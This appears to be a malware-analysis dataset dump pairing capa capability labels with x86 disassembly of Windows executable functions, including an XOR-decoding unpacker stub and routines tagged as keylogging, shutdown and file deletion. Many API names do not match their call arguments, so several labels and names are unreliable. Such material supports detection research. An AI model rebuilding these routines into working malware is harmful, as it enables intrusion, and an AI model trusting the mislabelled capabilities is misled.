joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x403e59
pop dword [ebp - 0x18]
mov eax, 0x325a9c57
add eax, 0xcde5a202
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xd1a8b399
sub dword [ebp - 0x28], 0x83566e4e
mov dword [ebp - 0x24], 0xdf403936
add dword [ebp - 0x24], 0x52f3130f
mov dword [ebp - 0x20], 0xa80ba8a2
sub dword [ebp - 0x20], 0x5bbf6474
mov dword [ebp - 0x1c], 0x9a78117a
sub dword [ebp - 0x1c], 0x9a78117a
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x6e8288f3
add dword [ebp - 0x28], 0x5efe063
mov dword [ebp - 0x24], 0xefc4fdd4
add dword [ebp - 0x24], 0x51a763a1
mov dword [ebp - 0x20], 0x5fdcf178
sub dword [ebp - 0x20], 0xfc6d850c
mov dword [ebp - 0x1c], 0xd2463cc0
sub dword [ebp - 0x1c], 0xd2463cc0
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x20ffab31
add eax, 0xdf40c577
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x35865
push 0
call eax
mov ecx, 0x4ca6a1a4
add ecx, 0xb359a178
xor ebx, ebx
add ebx, eax
mov edx, 0x53718e31
add edx, 0xaccf71cf
add edx, dword [ebp - 0x18]
mov edi, 0x83103837
sub edi, 0x9a2a54bc
sub dword [ebp - 0x10], eax
mov esi, dword [edx]
add dword [ebp - 4], esi
xor esi, edi
mov dword [ebp - 8], 0x60b95205
mov dword [ebx], esi
mov dword [ebp - 0x10], 0xd7edb85b
add ebx, 4
add edx, 0x177b1c73
add edx, 0xe884e391
loop 0x403f78
add eax, 0x866c8e18
sub eax, 0x866b8ed5
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x406624
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406648
xor eax, eax
test eax, eax
je 0x40665b
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x40665b
xor ecx, ecx
jmp 0x40665e
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406787
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4698ec], 0
push esi
jne 0x4067be
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406798
mov dword [ecx*4 + 0x4698e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406793
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4067ef
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4698e8]
xor eax, esi
inc ecx
dec edx
jne 0x4067d1
pop edi
not eax
pop esi
ret 0xc

Function at 0x5a8000
Capabilities:
Accept command line arguments
Check os version
Copy file
Delete file
Get common file path
Get file system object information
Packed with generic packer
Set current directory
Set environment variable
Shutdown system
Terminate process

Disassembly:
pushal
push 0x5a8031
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x5a803a
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [0x5a8047]
push 0
push 0
push 0
push edx
push 0
push 0
call eax
popal
jmp fcn.0040338f
Function at 0x4015bc
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
cmp esi, 0x100000
jge 0x4015d2
mov esi, 0x100000
jmp 0x4015de
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 1
push 0x2000
push esi
push 0
call sub.KERNEL32.DLL_WideCharToMultiByte
mov edi, eax
mov dword [ebx], edi
test edi, edi
je 0x40161b
mov edx, ebx
mov eax, 0x48f5e8
call fcn.00401470
test al, al
jne 0x40161b
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WinExec
xor eax, eax
mov dword [ebx], eax
pop edi
pop esi
pop ebx
ret

Function at 0x401620
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
mov ebx, ecx
mov esi, edx
mov ebp, eax
mov dword [ebx + 4], 0x100000
push 4
push 0x2000
push 0x100000
push ebp
call sub.KERNEL32.DLL_WideCharToMultiByte
mov edi, eax
mov dword [ebx], edi
test edi, edi
jne 0x40166a
add esi, 0xffff
and esi, 0xffff0000
mov dword [ebx + 4], esi
push 4
push 0x2000
push esi
push ebp
call sub.KERNEL32.DLL_WideCharToMultiByte
mov dword [ebx], eax
cmp dword [ebx], 0
je 0x401692
mov edx, ebx
mov eax, 0x48f5e8
call fcn.00401470
test al, al
jne 0x401692
push 0x8000
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_WinExec
xor eax, eax
mov dword [ebx], eax
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401698
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 8], 0xffffffff
xor edx, edx
mov dword [esp + 0xc], edx
mov ebp, eax
mov eax, dword [esp]
add eax, ebp
mov dword [esp + 0x10], eax
mov ebx, dword [0x48f5e8]
jmp 0x401718
mov edi, dword [ebx]
mov esi, dword [ebx + 8]
cmp ebp, esi
ja 0x401716
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0x10]
ja 0x401716
cmp esi, dword [esp + 8]
jae 0x4016e5
mov dword [esp + 8], esi
mov eax, esi
add eax, dword [ebx + 0xc]
cmp eax, dword [esp + 0xc]
jbe 0x4016f4
mov dword [esp + 0xc], eax
push 0x8000
push 0
push esi
call sub.KERNEL32.DLL_WinExec
test eax, eax
jne 0x40170f
mov dword [0x48f5c4], 1
mov eax, ebx
call fcn.004014a0
mov ebx, edi
cmp ebx, 0x48f5e8
jne 0x4016c7
mov eax, dword [esp + 4]
xor edx, edx
mov dword [eax], edx
cmp dword [esp + 0xc], 0
je 0x401748
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [eax], edx
mov eax, dword [esp + 0xc]
sub eax, dword [esp + 8]
mov edx, dword [esp + 4]
mov dword [edx + 4], eax
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4017e4
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, eax
mov esi, ebx
add esi, 0xfff
and esi, 0xfffff000
mov dword [esp], esi
mov ebp, ebx
add ebp, edx
and ebp, 0xfffff000
mov eax, dword [esp]
mov dword [ecx], eax
mov eax, ebp
sub eax, dword [esp]
mov dword [ecx + 4], eax
mov esi, dword [0x48f5e8]
jmp 0x401853
mov ebx, dword [esi + 8]
mov edi, dword [esi + 0xc]
add edi, ebx
cmp ebx, dword [esp]
jae 0x40182b
mov ebx, dword [esp]
cmp ebp, edi
jae 0x401831
mov edi, ebp
cmp edi, ebx
jbe 0x401851
push 0x4000
sub edi, ebx
push edi
push ebx
call sub.KERNEL32.DLL_WinExec
test eax, eax
jne 0x401851
mov dword [0x48f5c4], 2
mov esi, dword [esi]
cmp esi, 0x48f5e8
jne 0x40181b
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401b68
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x48f5c0], 0
je 0x401c45
xor edx, edx
push ebp
push 0x401c3e
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x48f049], 0
je 0x401b9a
push 0x48f5c8
call sub.KERNEL32.DLL_WriteProcessMemory
mov byte [0x48f5c0], 0
mov eax, dword [0x48f620]
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
xor eax, eax
mov dword [0x48f620], eax
mov ebx, dword [0x48f5e8]
jmp 0x401bcd
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_WinExec
mov ebx, dword [ebx]
cmp ebx, 0x48f5e8
jne 0x401bbb
mov eax, 0x48f5e8
call fcn.00401468
mov eax, 0x48f5f8
call fcn.00401468
mov eax, 0x48f624
call fcn.00401468
mov eax, dword [0x48f5e0]
test eax, eax
je 0x401c13
mov edx, dword [eax]
mov dword [0x48f5e0], edx
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
mov eax, dword [0x48f5e0]
test eax, eax
jne 0x401bfc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x401c45
cmp byte [0x48f049], 0
je 0x401c33
push 0x48f5c8
call sub.KERNEL32.DLL_lstrcmpiA
push 0x48f5c8
call sub.KERNEL32.DLL_lstrcpyA
ret
pop ebx
pop ebp
ret

Function at 0x4028fc
Capabilities:
Resume thread

Disassembly:
call sub.KERNEL32.DLL_ResumeThread
call fcn.004028ec
ret

Function at 0x40291c
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_SizeofResource
test ax, ax
jne 0x40292f
call fcn.004028fc
pop ebx
ret

Function at 0x402b3c
Capabilities:
Delete directory

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.0040493c
test esi, esi
jne 0x402b72
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_SetErrorMode
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404a2c
jmp 0x402b90
call sub.KERNEL32.DLL_RemoveDirectoryA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402a50
mov edi, eax
test esi, esi
je 0x402b90
cmp dword [ebx], 0
je 0x402b90
dec esi
jmp 0x402b79
add esp, 0x108
pop edi
pop esi
pop ebx
ret
Function at 0x402fc8
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
mov eax, dword [ebp + 0x10]
movzx edx, word [ebx + 4]
and edx, eax
cmp eax, edx
jne 0x40303a
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebx + 8]
imul esi
push eax
push edi
mov eax, dword [ebx]
push eax
call dword [ebp + 0xc]
test eax, eax
jne 0x40300a
call sub.KERNEL32.DLL_ResumeThread
call fcn.004028ec
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x403049
mov eax, dword [ebp - 4]
xor edx, edx
div dword [ebx + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x403026
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
mov dword [eax], edx
jmp 0x403049
cmp esi, dword [ebp - 4]
je 0x403049
mov eax, dword [ebp + 8]
call fcn.004028ec
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x403049
mov eax, 0x67
call fcn.004028ec
xor eax, eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0x10

Function at 0x403238
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
or esi, 0xffffffff
mov ax, word [ebx + 4]
cmp ax, 0xd7b0
jbe 0x403272
cmp ax, 0xd7b3
ja 0x403272
push 0
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_LeaveCriticalSection
mov esi, eax
cmp esi, 0xffffffff
jne 0x403267
call fcn.004028fc
jmp 0x40327c
mov eax, esi
xor edx, edx
div dword [ebx + 8]
mov esi, eax
jmp 0x40327c
mov eax, 0x67
call fcn.004028ec
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4032a4
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x48c008], 0x8088405
inc edx
mov dword [ebx + 0x48c008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4032e8
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
xor edx, edx
mov ebx, eax
mov dx, word [eax + 4]
sub edx, 0xd7b0
je 0x403314
cmp edx, 3
ja 0x4033aa
call dword [ebx + 0x24]
test eax, eax
je 0x403314
call fcn.004028ec
mov word [ebx + 4], 0xd7b3
mov dword [ebx + 8], esi
mov dword [ebx + 0x24], 0x4032c0
mov dword [ebx + 0x1c], 0x402cd4
cmp byte [ebx + 0x48], 0
je 0x403391
mov eax, 0xc0000000
mov dl, byte [0x48c00c]
and edx, 0x70
shr edx, 2
mov edx, dword [edx + 0x48c06c]
mov ecx, 2
sub edi, 3
je 0x403373
mov ecx, 3
inc edi
je 0x403373
mov eax, 0x40000000
inc edi
mov word [ebx + 4], 0xd7b2
je 0x403373
mov eax, 0x80000000
mov word [ebx + 4], 0xd7b1
push 0
push 0x80
push ecx
push 0
push edx
push eax
lea eax, [ebx + 0x48]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
cmp eax, 0xffffffff
je 0x4033b1
mov dword [ebx], eax
jmp 0x4033c1
mov dword [ebx + 0x24], 0x402cd4
cmp edi, 3
je 0x4033a1
push 0xfffffffffffffff6
jmp 0x4033a3
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_LoadLibraryA
jmp 0x403388
mov eax, 0x66
jmp 0x4033bc
mov word [ebx + 4], 0xd7b0
call sub.KERNEL32.DLL_ResumeThread
call fcn.004028ec
pop edi
pop esi
pop ebx
ret
Function at 0x4033f0
Capabilities:
Move file

Disassembly:
mov ecx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b1
cmp eax, 2
ja 0x403419
push 0
mov eax, dword [ecx + 8]
mul edx
push 0
push eax
push dword [ecx]
call sub.KERNEL32.DLL_MoveFileA
inc eax
je fcn.004028fc
ret
mov eax, 0x67
jmp fcn.004028ec

Function at 0x4039bc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x48c024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403a54
push 0x80000002
call sub.user32.dll_VkKeyScanA
test eax, eax
jne 0x403a34
xor eax, eax
push ebp
push 0x403a2d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403a70
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_WaitMessage
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403a34
mov eax, dword [ebp - 4]
push eax
call sub.user32.dll_UpdateWindow
ret
mov ax, word [0x48c024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x48c024], ax
mov esp, ebp
pop ebp
ret

Function at 0x405d24
Capabilities:
Suspend thread

Disassembly:
add esp, 0xffffffe4
push 0x1c
lea edx, [esp + 4]
push edx
push eax
call sub.KERNEL32.DLL_SuspendThread
cmp dword [esp + 0x10], 0x1000
jne 0x405d44
mov eax, dword [esp + 4]
jmp 0x405d46
xor eax, eax
add esp, 0x1c
ret
Function at 0x405dd8
Capabilities:
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push 0x405f6c
call sub.KERNEL32.DLL_SetEvent
mov esi, eax
test esi, esi
je 0x405e40
push 0x405f7c
push esi
call sub.KERNEL32.DLL_SetFileAttributesA
mov ebx, eax
test ebx, ebx
je 0x405e40
push 0x105
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call ebx
test eax, eax
je 0x405e40
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetThreadContext
jmp 0x405f62
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x405e80
mov eax, dword [ebp - 4]
cmp byte [eax + 1], 0x5c
jne 0x405f62
mov eax, dword [ebp - 4]
add eax, 2
call fcn.00405dc4
mov esi, eax
cmp byte [esi], 0
je 0x405f62
lea eax, [esi + 1]
call fcn.00405dc4
mov esi, eax
cmp byte [esi], 0
je 0x405f62
jmp 0x405e86
mov esi, dword [ebp - 4]
add esi, 2
mov ebx, esi
sub ebx, dword [ebp - 4]
lea eax, [ebx + 1]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_SetThreadContext
jmp 0x405f45
lea eax, [esi + 1]
call fcn.00405dc4
mov edi, eax
mov eax, edi
sub eax, esi
mov edx, eax
add edx, ebx
inc edx
cmp edx, 0x105
jg 0x405f62
inc eax
push eax
push esi
lea eax, [ebp - 0x24f]
add eax, ebx
push eax
call sub.KERNEL32.DLL_SetThreadContext
lea eax, [ebp - 0x14a]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_ReadFile
mov esi, eax
cmp esi, 0xffffffff
je 0x405f62
push esi
call sub.KERNEL32.DLL_QueryPerformanceFrequency
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_SetThreadLocale
lea edx, [ebx + 1]
add eax, edx
inc eax
cmp eax, 0x105
jg 0x405f62
mov byte [ebp + ebx - 0x24f], 0x5c
mov eax, 0x105
sub eax, ebx
dec eax
push eax
lea eax, [ebp - 0x11e]
push eax
lea eax, [ebp - 0x24f]
add eax, ebx
inc eax
push eax
call sub.KERNEL32.DLL_SetThreadContext
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_SetThreadLocale
inc eax
add ebx, eax
mov esi, edi
cmp byte [esi], 0
jne 0x405ea4
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_SetThreadContext
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405f90
Capabilities:
Clear file content
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_SetErrorMode
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4061c0
push 0x80000001
call sub.user32.dll_VkKeyScanA
test eax, eax
je 0x406013
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4061c0
push 0x80000002
call sub.user32.dll_VkKeyScanA
test eax, eax
je 0x406013
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4061dc
push 0x80000001
call sub.user32.dll_VkKeyScanA
test eax, eax
jne 0x40609c
xor eax, eax
push ebp
push 0x406095
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405dd8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_WaitMessage
test eax, eax
je 0x40607a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4061fc
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_WaitMessage
test eax, eax
je 0x40607a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40609c
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_UpdateWindow
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetThreadContext
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_SetNamedPipeHandleState
push eax
call sub.KERNEL32.DLL_SetEndOfFile
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4061b6
cmp byte [ebp - 0xd], 0
jne 0x4060e3
cmp byte [ebp - 0x12], 0
je 0x4061b6
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetThreadLocale
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4060fc
dec ebx
cmp byte [ebx], 0x2e
je 0x40610b
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4060fb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4061b6
inc ebx
cmp byte [ebp - 0x12], 0
je 0x406148
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_SetThreadContext
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetPriorityClass
mov esi, eax
test esi, esi
jne 0x4061b6
cmp byte [ebp - 0xd], 0
je 0x4061b6
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetThreadContext
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetPriorityClass
mov esi, eax
test esi, esi
jne 0x4061b6
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_SetThreadContext
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_SetPriorityClass
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406888
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4068ee
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.DLL_SetEndOfFile
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404bac
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403424
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4068d8
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4068f5
lea eax, [ebp - 0x10]
call fcn.0040493c
ret

Function at 0x4095f8
Capabilities:
Enumerate gui resources
Log keystrokes via polling

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
jmp 0x409618
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 0x14]
push eax
call sub.user32.dll_EnumWindows
test eax, eax
jne 0x409618
call sub.user32.dll_GetKeyboardState
jmp 0x409657
mov eax, dword [ebx + 0x18]
and eax, dword [ebx + 0x10]
jne 0x409600
push esp
lea eax, [ebx + 0x2c]
push eax
call sub.user32.dll_EnableWindow
push ebx
lea eax, [ebx + 2]
push eax
lea eax, [esp + 8]
push eax
call sub.user32.dll_EnableScrollBar
mov eax, dword [ebx + 0x38]
mov dword [ebx + 4], eax
mov eax, dword [ebx + 0x18]
mov dword [ebx + 8], eax
lea eax, [ebx + 0xc]
lea edx, [ebx + 0x44]
mov ecx, 0x104
call fcn.00404bac
xor eax, eax
pop ecx
pop edx
pop ebx
ret

Function at 0x4096ac
Capabilities:
Enumerate gui resources
Log keystrokes via polling

Disassembly:
push ebx
mov ebx, eax
lea eax, [ebx + 0x18]
push eax
mov eax, dword [ebx + 0x14]
push eax
call sub.user32.dll_EnumWindows
test eax, eax
je 0x4096c9
mov eax, ebx
call fcn.004095f8
pop ebx
ret
call sub.user32.dll_GetKeyboardState
pop ebx
ret

Function at 0x40985c
Capabilities:
Get keyboard layout

Disassembly:
push ebx
push esi
add esp, 0xfffffef8
mov esi, edx
mov ebx, eax
push esp
lea eax, [esp + 8]
push eax
push 0x104
mov eax, ebx
call fcn.00404dfc
push eax
call sub.user32.dll_GetKeyboardLayoutList
mov ecx, eax
lea edx, [esp + 4]
mov eax, esi
call fcn.00404a2c
add esp, 0x108
pop esi
pop ebx
ret

Function at 0x40c29c
Capabilities:
Shutdown system

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, edx
push 0
push 0x100
lea edx, [esp + 8]
push edx
push 0
push eax
push 0
push 0x3200
call sub.user32.dll_ExitWindowsEx
jmp 0x40c2c3
dec eax
test eax, eax
jle 0x40c2d5
mov dl, byte [esp + eax - 1]
sub dl, 0x21
jb 0x40c2c2
sub dl, 0xd
je 0x40c2c2
mov edx, esp
mov ecx, ebx
xchg ecx, eax
call fcn.00404a2c
add esp, 0x100
pop ebx
ret
Function at 0x40d318
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40d3ee
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004049d4
lea eax, [ebp - 8]
call fcn.00404e4c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404dfc
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40d3d8
mov eax, ebx
call fcn.00402764
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40d3d1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404dfc
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40d3bb
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40d400
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40d3bb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d3d8
mov eax, dword [ebp - 0x10]
call fcn.00402784
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d3f5
lea eax, [ebp - 8]
call fcn.0040493c
ret

Function at 0x40e0c0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor eax, eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0x40e150
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.user32.dll_GetKeyboardState
mov ebx, eax
test ebx, ebx
je 0x40e11c
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0xc], 0
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.0040c29c
mov eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x10]
push eax
push 1
mov ecx, dword [0x48e3fc]
mov dl, 1
mov eax, dword [0x4088bc]
call fcn.0040cbc0
mov edx, eax
jmp 0x40e130
mov ecx, dword [0x48e53c]
mov dl, 1
mov eax, dword [0x4088bc]
call fcn.0040cb84
mov edx, eax
mov dword [edx + 0xc], ebx
mov eax, edx
call fcn.004042d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e157
lea eax, [ebp - 0x14]
call fcn.0040493c
ret